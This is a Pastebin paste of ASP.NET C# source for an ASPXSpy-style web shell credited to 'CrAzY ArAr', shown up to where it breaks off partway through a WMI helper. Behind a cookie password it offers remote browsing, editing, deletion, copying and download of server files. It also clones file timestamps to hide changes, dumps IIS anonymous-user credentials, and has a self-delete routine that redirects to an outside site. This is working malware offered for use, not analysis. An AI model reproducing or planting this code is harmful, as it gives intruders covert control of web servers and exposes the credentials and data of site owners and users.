OxAlien

Untitled

Jun 24th, 2013
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 84.10 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2.  
  3. <%@ import Namespace="System.IO"%>
  4.  
  5. <%@ import Namespace="System.Diagnostics"%>
  6.  
  7. <%@ import Namespace="System.Data"%>
  8.  
  9. <%@ import Namespace="System.Management"%>
  10.  
  11. <%@ import Namespace="System.Data.OleDb"%>
  12.  
  13. <%@ import Namespace="Microsoft.Win32"%>
  14.  
  15. <%@ import Namespace="System.Net.Sockets" %>
  16.  
  17. <%@ import Namespace="System.Net" %>
  18.  
  19. <%@ import Namespace="System.Runtime.InteropServices"%>
  20.  
  21. <%@ import Namespace="System.DirectoryServices"%>
  22.  
  23. <%@ import Namespace="System.ServiceProcess"%>
  24.  
  25. <%@ import Namespace="System.Text.RegularExpressions"%>
  26.  
  27. <%@ Import Namespace="System.Threading"%>
  28.  
  29. <%@ Import Namespace="System.Data.SqlClient"%>
  30.  
  31. <%@ import Namespace="Microsoft.VisualBasic"%>
  32.  
  33. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  34.  
  35. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  36.  
  37. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  38.  
  39. <%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
  40.  
  41. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  42.  
  43. <script runat="server">
  44.  
  45. /*
  46.  
  47. Thanks For Using My Shell
  48.  
  49. Code by CrAzY ArAr
  50.  
  51. Made in Algeria
  52.  
  53. Wen: http://Www.Aljyyosh.Com
  54.  
  55. E-mail : RockMind@Live.Fr
  56.  
  57. */
  58.  
  59. public string Password="297aae72cc4d0d068f46a9158469e34d";
  60.  
  61. public string vbhLn="ASPXSpy";
  62.  
  63. public int TdgGU=1;
  64.  
  65. protected OleDbConnection Dtdr=new OleDbConnection();
  66.  
  67. protected OleDbCommand Kkvb=new OleDbCommand();
  68.  
  69. public NetworkStream NS=null;
  70.  
  71. public NetworkStream NS1=null;
  72.  
  73. TcpClient tcp=new TcpClient();
  74.  
  75. TcpClient zvxm=new TcpClient();
  76.  
  77. ArrayList IVc=new ArrayList();
  78.  
  79. protected void Page_load(object sender,EventArgs e)
  80.  
  81. {
  82.  
  83. YFcNP(this);
  84.  
  85. fhAEn();
  86.  
  87. if (!pdo())
  88.  
  89. {
  90.  
  91. return;
  92.  
  93. }
  94.  
  95. if(IsPostBack)
  96.  
  97. {
  98.  
  99. string tkI=Request["__EVENTTARGET"];
  100.  
  101. string VqV=Request["__File"];
  102.  
  103. if(tkI!="")
  104.  
  105. {
  106.  
  107. switch(tkI)
  108.  
  109. {
  110.  
  111. case "Bin_Parent":
  112.  
  113. krIR(Ebgw(VqV));
  114.  
  115. break;
  116.  
  117. case "Bin_Listdir":
  118.  
  119. krIR(Ebgw(VqV));
  120.  
  121. break;
  122.  
  123. case "kRXgt":
  124.  
  125. kRXgt(Ebgw(VqV));
  126.  
  127. break;
  128.  
  129. case "Bin_Createfile":
  130.  
  131. gLKc(VqV);
  132.  
  133. break;
  134.  
  135. case "Bin_Editfile":
  136.  
  137. gLKc(VqV);
  138.  
  139. break;
  140.  
  141. case "Bin_Createdir":
  142.  
  143. stNPw(VqV);
  144.  
  145. break;
  146.  
  147. case "cYAl":
  148.  
  149. cYAl(VqV);
  150.  
  151. break;
  152.  
  153. case "ksGR":
  154.  
  155. ksGR(Ebgw(VqV));
  156.  
  157. break;
  158.  
  159. case "SJv":
  160.  
  161. SJv(VqV);
  162.  
  163. break;
  164.  
  165. case "Bin_Regread":
  166.  
  167. tpRQ(Ebgw(VqV));
  168.  
  169. break;
  170.  
  171. case "hae":
  172.  
  173. hae();
  174.  
  175. break;
  176.  
  177. case "urJG":
  178.  
  179. urJG(VqV);
  180.  
  181. break;
  182.  
  183. }
  184.  
  185. if(tkI.StartsWith("dAJTD"))
  186.  
  187. {
  188.  
  189. dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
  190.  
  191. }
  192.  
  193. else if(tkI.StartsWith("Tlvz"))
  194.  
  195. {
  196.  
  197. Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
  198.  
  199. }
  200.  
  201. else if(tkI.StartsWith("Bin_CFile"))
  202.  
  203. {
  204.  
  205. YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
  206.  
  207. }
  208.  
  209. }
  210.  
  211. }
  212.  
  213. else
  214.  
  215. {
  216.  
  217. PBZw();
  218.  
  219. }
  220.  
  221. }
  222.  
  223. public bool pdo()
  224.  
  225. {
  226.  
  227. if(Request.Cookies[vbhLn]==null)
  228.  
  229. {
  230.  
  231. tZSx();
  232.  
  233. return false;
  234.  
  235. }
  236.  
  237. else
  238.  
  239. {
  240.  
  241. if (Request.Cookies[vbhLn].Value != Password)
  242.  
  243. {
  244.  
  245. tZSx();
  246.  
  247. return false;
  248.  
  249. }
  250.  
  251. else
  252.  
  253. {
  254.  
  255. return true;
  256.  
  257. }
  258.  
  259. }
  260.  
  261. }
  262.  
  263. public void tZSx()
  264.  
  265. {
  266.  
  267. ljtzC.Visible=true;
  268.  
  269. ZVS.Visible=false;
  270.  
  271. }
  272.  
  273. protected void YKpI(object sender,EventArgs e)
  274.  
  275. {
  276.  
  277. Session.Abandon();
  278.  
  279. Response.Cookies.Add(new HttpCookie(vbhLn,null));
  280.  
  281. tZSx();
  282.  
  283. }
  284.  
  285. public void PBZw()
  286.  
  287. {
  288.  
  289. ZVS.Visible=true;
  290.  
  291. ljtzC.Visible=false;
  292.  
  293. Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  294.  
  295. Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  296.  
  297. Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASP PAIN SHELL ?')){Bin_PostBack('hae','');};";
  298.  
  299. Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
  300.  
  301. Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
  302.  
  303. if (AXSbb.Value==string.Empty)
  304.  
  305. {
  306.  
  307. AXSbb.Value=OElM(Server.MapPath("."));
  308.  
  309. }
  310.  
  311. Bin_H2_Title.InnerText="File Manager >>";
  312.  
  313. krIR(AXSbb.Value);
  314.  
  315. }
  316.  
  317. public void fhAEn()
  318.  
  319. {
  320.  
  321. try
  322.  
  323. {
  324.  
  325. string[] YRgt=Directory.GetLogicalDrives();
  326.  
  327. for(int i=0;i<YRgt.Length;i++)
  328.  
  329. {
  330.  
  331. Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID=\"Bin_Button_Driv"+i+"\" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
  332.  
  333. Bin_Span_Drv.Controls.Add(c);
  334.  
  335. LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
  336.  
  337. nxeDR.Command+=new CommandEventHandler(this.iVk);
  338.  
  339. }
  340.  
  341. }catch(Exception ex){}
  342.  
  343. }
  344.  
  345. public string OElM(string path)
  346.  
  347. {
  348.  
  349. if(path.Substring(path.Length-1,1)!=@"\")
  350.  
  351. {
  352.  
  353. path=path+@"\";
  354.  
  355. }
  356.  
  357. return path;
  358.  
  359. }
  360.  
  361. public string nrrx(string path)
  362.  
  363. {
  364.  
  365. char[] trim={'\\'};
  366.  
  367. if(path.Substring(path.Length-1,1)==@"\")
  368.  
  369. {
  370.  
  371. path=path.TrimEnd(trim);
  372.  
  373. }
  374.  
  375. return path;
  376.  
  377. }
  378.  
  379. [DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
  380.  
  381. public static extern int OMZP(string nDrive);
  382.  
  383. public string mFvj(string instr)
  384.  
  385. {
  386.  
  387. string EuXD=string.Empty;
  388.  
  389. int num=OMZP(instr);
  390.  
  391. switch(num)
  392.  
  393. {
  394.  
  395. case 1:
  396.  
  397. EuXD="Unknow("+instr+")";
  398.  
  399. break;
  400.  
  401. case 2:
  402.  
  403. EuXD="Removable("+instr+")";
  404.  
  405. break;
  406.  
  407. case 3:
  408.  
  409. EuXD="Fixed("+instr+")";
  410.  
  411. break;
  412.  
  413. case 4:
  414.  
  415. EuXD="Network("+instr+")";
  416.  
  417. break;
  418.  
  419. case 5:
  420.  
  421. EuXD="CDRom("+instr+")";
  422.  
  423. break;
  424.  
  425. case 6:
  426.  
  427. EuXD="RAM Disk("+instr+")";
  428.  
  429. break;
  430.  
  431. }
  432.  
  433. return EuXD.Replace(@"\","");
  434.  
  435. }
  436.  
  437. public string MVVJ(string instr)
  438.  
  439. {
  440.  
  441. byte[] tmp=Encoding.Default.GetBytes(instr);
  442.  
  443. return Convert.ToBase64String(tmp);
  444.  
  445. }
  446.  
  447. public string Ebgw(string instr)
  448.  
  449. {
  450.  
  451. byte[] tmp=Convert.FromBase64String(instr);
  452.  
  453. return Encoding.Default.GetString(tmp);
  454.  
  455. }
  456.  
  457. public void krIR(string path)
  458.  
  459. {
  460.  
  461. WICxe();
  462.  
  463. CzfO.Visible=true;
  464.  
  465. Bin_H2_Title.InnerText="File Manager >>";
  466.  
  467. AXSbb.Value=OElM(path);
  468.  
  469. DirectoryInfo GQMM=new DirectoryInfo(path);
  470.  
  471. if(Directory.GetParent(nrrx(path))!=null)
  472.  
  473. {
  474.  
  475. string bg=OKM();
  476.  
  477. TableRow p=new TableRow();
  478.  
  479. for(int i=1;i<6;i++)
  480.  
  481. {
  482.  
  483. TableCell pc=new TableCell();
  484.  
  485. if(i==1)
  486.  
  487. {
  488.  
  489. pc.Width=Unit.Parse("2%");
  490.  
  491. pc.Text="0";
  492.  
  493. p.CssClass=bg;
  494.  
  495. }
  496.  
  497. if(i==2)
  498.  
  499. {
  500.  
  501. pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')\">Parent Directory</a>";
  502.  
  503. }
  504.  
  505. p.Cells.Add(pc);
  506.  
  507. UGzP.Rows.Add(p);
  508.  
  509. }
  510.  
  511. }
  512.  
  513. try
  514.  
  515. {
  516.  
  517. int vLlH=0;
  518.  
  519. foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
  520.  
  521. {
  522.  
  523. string bg=OKM();
  524.  
  525. vLlH++;
  526.  
  527. TableRow tr=new TableRow();
  528.  
  529. TableCell tc=new TableCell();
  530.  
  531. tc.Width=Unit.Parse("2%");
  532.  
  533. tc.Text="0";
  534.  
  535. tr.Attributes["onmouseover"]="this.className='focus';";
  536.  
  537. tr.CssClass=bg;
  538.  
  539. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  540.  
  541. tr.Cells.Add(tc);
  542.  
  543. TableCell HczyN=new TableCell();
  544.  
  545. HczyN.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
  546.  
  547. tr.Cells.Add(HczyN);
  548.  
  549. TableCell LYZK=new TableCell();
  550.  
  551. LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  552.  
  553. tr.Cells.Add(LYZK);
  554.  
  555. UGzP.Rows.Add(tr);
  556.  
  557. TableCell ERUL=new TableCell();
  558.  
  559. ERUL.Text="--";
  560.  
  561. tr.Cells.Add(ERUL);
  562.  
  563. UGzP.Rows.Add(tr);
  564.  
  565. TableCell ZGKh=new TableCell();
  566.  
  567. ZGKh.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
  568.  
  569. tr.Cells.Add(ZGKh);
  570.  
  571. UGzP.Rows.Add(tr);
  572.  
  573. }
  574.  
  575. TableRow cKVA=new TableRow();
  576.  
  577. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  578.  
  579. cKVA.Attributes["bgcolor"]="#dddddd";
  580.  
  581. TableCell JlmW=new TableCell();
  582.  
  583. JlmW.Attributes["colspan"]="6" ;
  584.  
  585. JlmW.Attributes["height"]="5";
  586.  
  587. cKVA.Cells.Add(JlmW);
  588.  
  589. UGzP.Rows.Add(cKVA);
  590.  
  591. int aYRwo=0;
  592.  
  593. foreach(FileInfo Bin_Files in GQMM.GetFiles())
  594.  
  595. {
  596.  
  597. aYRwo++;
  598.  
  599. string gb=OKM();
  600.  
  601. TableRow tr=new TableRow();
  602.  
  603. TableCell tc=new TableCell();
  604.  
  605. tc.Width=Unit.Parse("2%");
  606.  
  607. tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+MVVJ(Bin_Files.Name)+"\">";
  608.  
  609. tr.Attributes["onmouseover"]="this.className='focus';";
  610.  
  611. tr.CssClass=gb;
  612.  
  613. tr.Attributes["onmouseout"]="this.className='"+gb+"';";
  614.  
  615. tr.Cells.Add(tc);
  616.  
  617. TableCell filename=new TableCell();
  618.  
  619. if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  620.  
  621. {
  622.  
  623. string url=Request.Url.ToString();
  624.  
  625. filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
  626.  
  627. }
  628.  
  629. else
  630.  
  631. {
  632.  
  633. filename.Text=Bin_Files.Name;
  634.  
  635. }
  636.  
  637. TableCell albt=new TableCell();
  638.  
  639. albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  640.  
  641. TableCell YzK=new TableCell();
  642.  
  643. YzK.Text=mTG(Bin_Files.Length);
  644.  
  645. TableCell GLpi=new TableCell();
  646.  
  647. GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">Time</a> ";
  648.  
  649. tr.Cells.Add(filename);
  650.  
  651. tr.Cells.Add(albt);
  652.  
  653. tr.Cells.Add(YzK);
  654.  
  655. tr.Cells.Add(GLpi);
  656.  
  657. UGzP.Rows.Add(tr);
  658.  
  659. }
  660.  
  661. string lgb=OKM();
  662.  
  663. TableRow oWam=new TableRow();
  664.  
  665. oWam.CssClass=lgb;
  666.  
  667. for(int i=1;i<4;i++)
  668.  
  669. {
  670.  
  671. TableCell lGV=new TableCell();
  672.  
  673. if(i==1)
  674.  
  675. {
  676.  
  677. lGV.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
  678.  
  679. }
  680.  
  681. if(i==2)
  682.  
  683. {
  684.  
  685. lGV.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Please Confirm That You Want To Delete This ?')){Bin_PostBack('SJv',d_file)};}\">Delete selected</a>";
  686.  
  687. }
  688.  
  689. if(i==3)
  690.  
  691. {
  692.  
  693. lGV.ColumnSpan=4;
  694.  
  695. lGV.Style.Add("text-align","right");
  696.  
  697. lGV.Text=vLlH+" directories/ "+aYRwo+" files";
  698.  
  699. }
  700.  
  701. oWam.Cells.Add(lGV);
  702.  
  703. }
  704.  
  705. UGzP.Rows.Add(oWam);
  706.  
  707. }
  708.  
  709. catch(Exception error)
  710.  
  711. {
  712.  
  713. xseuB(error.Message);
  714.  
  715. }
  716.  
  717. }
  718.  
  719. public string OKM()
  720.  
  721. {
  722.  
  723. TdgGU++;
  724.  
  725. if(TdgGU % 2==0)
  726.  
  727. {
  728.  
  729. return "alt1";
  730.  
  731. }
  732.  
  733. else
  734.  
  735. {
  736.  
  737. return "alt2";
  738.  
  739. }
  740.  
  741. }
  742.  
  743. public void kRXgt(string qcKu)
  744.  
  745. {
  746.  
  747. try
  748.  
  749. {
  750.  
  751. Directory.Delete(qcKu,true);
  752.  
  753. xseuB("Directory delete new success !");
  754.  
  755. }
  756.  
  757. catch(Exception error)
  758.  
  759. {
  760.  
  761. xseuB(error.Message);
  762.  
  763. }
  764.  
  765. krIR(Directory.GetParent(qcKu).ToString());
  766.  
  767. }
  768.  
  769. public void dAJTD(string sdir,string ddir)
  770.  
  771. {
  772.  
  773. try
  774.  
  775. {
  776.  
  777. Directory.Move(sdir,ddir);
  778.  
  779. xseuB("Directory Renamed Success !");
  780.  
  781. }
  782.  
  783. catch(Exception error)
  784.  
  785. {
  786.  
  787. xseuB(error.Message);
  788.  
  789. }
  790.  
  791. krIR(AXSbb.Value);
  792.  
  793. }
  794.  
  795. public void Tlvz(string sfile,string dfile)
  796.  
  797. {
  798.  
  799. try
  800.  
  801. {
  802.  
  803. File.Move(sfile,dfile);
  804.  
  805. xseuB("File Renamed Success !");
  806.  
  807. }
  808.  
  809. catch(Exception error)
  810.  
  811. {
  812.  
  813. xseuB(error.Message);
  814.  
  815. }
  816.  
  817. krIR(AXSbb.Value);
  818.  
  819. }
  820.  
  821. public void YByN(string spath,string dpath)
  822.  
  823. {
  824.  
  825. try
  826.  
  827. {
  828.  
  829. File.Copy(spath,dpath);
  830.  
  831. xseuB("File Copy Success !");
  832.  
  833. }
  834.  
  835. catch(Exception error)
  836.  
  837. {
  838.  
  839. xseuB(error.Message);
  840.  
  841. }
  842.  
  843. krIR(AXSbb.Value);
  844.  
  845. }
  846.  
  847. public void stNPw(string path)
  848.  
  849. {
  850.  
  851. try
  852.  
  853. {
  854.  
  855. Directory.CreateDirectory(AXSbb.Value+path);
  856.  
  857. xseuB("Directory created success !");
  858.  
  859. }
  860.  
  861. catch(Exception error)
  862.  
  863. {
  864.  
  865. xseuB(error.Message);
  866.  
  867. }
  868.  
  869. krIR(AXSbb.Value);
  870.  
  871. }
  872.  
  873. public void gLKc(string path)
  874.  
  875. {
  876.  
  877. if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  878.  
  879. {
  880.  
  881. foreach(ListItem item in NdCX.Items)
  882.  
  883. {
  884.  
  885. if(item.Selected=true)
  886.  
  887. {
  888.  
  889. item.Selected=false;
  890.  
  891. }
  892.  
  893. }
  894.  
  895. }
  896.  
  897. Bin_H2_Title.InnerHtml="Create/ Edit File >>";
  898.  
  899. WICxe();
  900.  
  901. vrFA.Visible=true;
  902.  
  903. if(path.IndexOf(":")< 0)
  904.  
  905. {
  906.  
  907. Sqon.Value=AXSbb.Value+path;
  908.  
  909. }
  910.  
  911. else
  912.  
  913. {
  914.  
  915. Sqon.Value=path;
  916.  
  917. }
  918.  
  919. if(File.Exists(Sqon.Value))
  920.  
  921. {
  922.  
  923. StreamReader sr;
  924.  
  925. if(NdCX.SelectedItem.Text=="UTF-8")
  926.  
  927. {
  928.  
  929. sr=new StreamReader(Sqon.Value,Encoding.UTF8);
  930.  
  931. }
  932.  
  933. else
  934.  
  935. {
  936.  
  937. sr=new StreamReader(Sqon.Value,Encoding.Default);
  938.  
  939. }
  940.  
  941. Xgvv.InnerText=sr.ReadToEnd();
  942.  
  943. sr.Close();
  944.  
  945. }
  946.  
  947. else
  948.  
  949. {
  950.  
  951. Xgvv.InnerText=string.Empty;
  952.  
  953. }
  954.  
  955. }
  956.  
  957. public void ksGR(string path)
  958.  
  959. {
  960.  
  961. FileInfo fs=new FileInfo(path);
  962.  
  963. Response.Clear();
  964.  
  965. Page.Response.ClearHeaders();
  966.  
  967. Page.Response.Buffer=false;
  968.  
  969. this.EnableViewState=false;
  970.  
  971. Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
  972.  
  973. Response.AddHeader("Content-Length",fs.Length.ToString());
  974.  
  975. Page.Response.ContentType="application/unknown";
  976.  
  977. Response.WriteFile(fs.FullName);
  978.  
  979. Page.Response.Flush();
  980.  
  981. Page.Response.Close();
  982.  
  983. Response.End();
  984.  
  985. Page.Response.Clear();
  986.  
  987. }
  988.  
  989. public void SJv(string path)
  990.  
  991. {
  992.  
  993. try
  994.  
  995. {
  996.  
  997. string[] spdT=path.Split(',');
  998.  
  999. for(int i=0;i<spdT.Length-1;i++)
  1000.  
  1001. {
  1002.  
  1003. File.Delete(AXSbb.Value+Ebgw(spdT[i]));
  1004.  
  1005. }
  1006.  
  1007. xseuB("File Delete Success !");
  1008.  
  1009. }
  1010.  
  1011. catch(Exception error)
  1012.  
  1013. {
  1014.  
  1015. xseuB(error.Message);
  1016.  
  1017. }
  1018.  
  1019. krIR(AXSbb.Value);
  1020.  
  1021. }
  1022.  
  1023. public void hae()
  1024.  
  1025. {
  1026.  
  1027. try
  1028.  
  1029. {
  1030.  
  1031. File.Delete(Request.PhysicalPath);
  1032.  
  1033. Response.Redirect("http://www.rootkit.net.cn");
  1034.  
  1035. }
  1036.  
  1037. catch(Exception error)
  1038.  
  1039. {
  1040.  
  1041. xseuB(error.Message);
  1042.  
  1043. }
  1044.  
  1045. }
  1046.  
  1047. public void cYAl(string path)
  1048.  
  1049. {
  1050.  
  1051. Bin_H2_Title.InnerHtml="Clone file was last modified time >>";
  1052.  
  1053. WICxe();
  1054.  
  1055. zRyG.Visible=true;
  1056.  
  1057. QiFB.Value=AXSbb.Value+path;
  1058.  
  1059. lICp.Value=AXSbb.Value;
  1060.  
  1061. pWVL.Value=AXSbb.Value+path;
  1062.  
  1063. string Att=File.GetAttributes(QiFB.Value).ToString();
  1064.  
  1065. if(Att.LastIndexOf("ReadOnly")!=-1)
  1066.  
  1067. {
  1068.  
  1069. ZhWSK.Checked=true;
  1070.  
  1071. }
  1072.  
  1073. if(Att.LastIndexOf("System")!=-1)
  1074.  
  1075. {
  1076.  
  1077. SsR.Checked=true;
  1078.  
  1079. }
  1080.  
  1081. if(Att.LastIndexOf("Hidden")!=-1)
  1082.  
  1083. {
  1084.  
  1085. ccB.Checked=true;
  1086.  
  1087. }
  1088.  
  1089. if(Att.LastIndexOf("Archive")!=-1)
  1090.  
  1091. {
  1092.  
  1093. fbyZ.Checked=true;
  1094.  
  1095. }
  1096.  
  1097. yUqx.Value=File.GetCreationTimeUtc(pWVL.Value).ToString();
  1098.  
  1099. uYjw.Value=File.GetLastWriteTimeUtc(pWVL.Value).ToString();
  1100.  
  1101. aLsn.Value=File.GetLastAccessTimeUtc(pWVL.Value).ToString();
  1102.  
  1103. }
  1104.  
  1105. public static String mTG(Int64 fileSize)
  1106.  
  1107. {
  1108.  
  1109. if(fileSize<0)
  1110.  
  1111. {
  1112.  
  1113. throw new ArgumentOutOfRangeException("fileSize");
  1114.  
  1115. }
  1116.  
  1117. else if(fileSize >= 1024 * 1024 * 1024)
  1118.  
  1119. {
  1120.  
  1121. return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  1122.  
  1123. }
  1124.  
  1125. else if(fileSize >= 1024 * 1024)
  1126.  
  1127. {
  1128.  
  1129. return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  1130.  
  1131. }
  1132.  
  1133. else if(fileSize >= 1024)
  1134.  
  1135. {
  1136.  
  1137. return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  1138.  
  1139. }
  1140.  
  1141. else
  1142.  
  1143. {
  1144.  
  1145. return string.Format("{0} B",fileSize);
  1146.  
  1147. }
  1148.  
  1149. }
  1150.  
  1151. private bool SGde(string sSrc)
  1152.  
  1153. {
  1154.  
  1155. Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");
  1156.  
  1157. if(reg.IsMatch(sSrc))
  1158.  
  1159. {
  1160.  
  1161. return true;
  1162.  
  1163. }
  1164.  
  1165. else
  1166.  
  1167. {
  1168.  
  1169. return false;
  1170.  
  1171. }
  1172.  
  1173. }
  1174.  
  1175. public void AdCx()
  1176.  
  1177. {
  1178.  
  1179. string qcKu=string.Empty;
  1180.  
  1181. string mWGEm="IIS://localhost/W3SVC";
  1182.  
  1183. GlI.Style.Add("word-break","break-all");
  1184.  
  1185. try
  1186.  
  1187. {
  1188.  
  1189. DirectoryEntry HHzcY=new DirectoryEntry(mWGEm);
  1190.  
  1191. int fmW=0;
  1192.  
  1193. foreach(DirectoryEntry child in HHzcY.Children)
  1194.  
  1195. {
  1196.  
  1197. if(SGde(child.Name.ToString()))
  1198.  
  1199. {
  1200.  
  1201. fmW++;
  1202.  
  1203. DirectoryEntry newdir=new DirectoryEntry(mWGEm+"/"+child.Name.ToString());
  1204.  
  1205. DirectoryEntry HlyU=newdir.Children.Find("root","IIsWebVirtualDir");
  1206.  
  1207. string bg=OKM();
  1208.  
  1209. TableRow TR=new TableRow();
  1210.  
  1211. TR.Attributes["onmouseover"]="this.className='focus';";
  1212.  
  1213. TR.CssClass=bg;
  1214.  
  1215. TR.Attributes["onmouseout"]="this.className='"+bg+"';";
  1216.  
  1217. TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  1218.  
  1219. for(int i=1;i<6;i++)
  1220.  
  1221. {
  1222.  
  1223. try
  1224.  
  1225. {
  1226.  
  1227. TableCell tfit=new TableCell();
  1228.  
  1229. switch(i)
  1230.  
  1231. {case 1:
  1232.  
  1233. tfit.Text=fmW.ToString();
  1234.  
  1235. break;
  1236.  
  1237. case 2:
  1238.  
  1239. tfit.Text=HlyU.Properties["AnonymousUserName"].Value.ToString();
  1240.  
  1241. break;
  1242.  
  1243. case 3:
  1244.  
  1245. tfit.Text=HlyU.Properties["AnonymousUserPass"].Value.ToString();
  1246.  
  1247. break;
  1248.  
  1249. case 4:
  1250.  
  1251. StringBuilder sb=new StringBuilder();
  1252.  
  1253. PropertyValueCollection pc=child.Properties["ServerBindings"];
  1254.  
  1255. for (int j=0; j < pc.Count; j++)
  1256.  
  1257. {
  1258.  
  1259. sb.Append(pc[j].ToString()+"<br>");
  1260.  
  1261. }
  1262.  
  1263. tfit.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  1264.  
  1265. break;
  1266.  
  1267. case 5:
  1268.  
  1269. tfit.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(HlyU.Properties["Path"].Value.ToString())+"')\">"+HlyU.Properties["Path"].Value.ToString()+"</a>";
  1270.  
  1271. break;
  1272.  
  1273. }
  1274.  
  1275. TR.Cells.Add(tfit);
  1276.  
  1277. }
  1278.  
  1279. catch (Exception ex)
  1280.  
  1281. {
  1282.  
  1283. xseuB(ex.Message);
  1284.  
  1285. continue;
  1286.  
  1287. }
  1288.  
  1289. }
  1290.  
  1291. GlI.Controls.Add(TR);
  1292.  
  1293. }
  1294.  
  1295. }
  1296.  
  1297. }
  1298.  
  1299. catch(Exception ex)
  1300.  
  1301. {
  1302.  
  1303. xseuB(ex.Message);
  1304.  
  1305. }
  1306.  
  1307. }
  1308.  
  1309. public ManagementObjectCollection PhQTd(string query)
  1310.  
  1311. {
  1312.  
  1313. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  1314.  
  1315. return QS.Get();
  1316.  
  1317. }
  1318.  
  1319. public DataTable cCf(string query)
  1320.  
  1321. {
  1322.  
  1323. DataTable dt=new DataTable();
  1324.  
  1325. int i=0;
  1326.  
  1327. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  1328.  
  1329. try
  1330.  
  1331. {
  1332.  
  1333. foreach(ManagementObject m in QS.Get())
  1334.  
  1335. {
  1336.  
  1337. DataRow dr=dt.NewRow();
  1338.  
  1339. PropertyDataCollection.PropertyDataEnumerator oEnum;
  1340.  
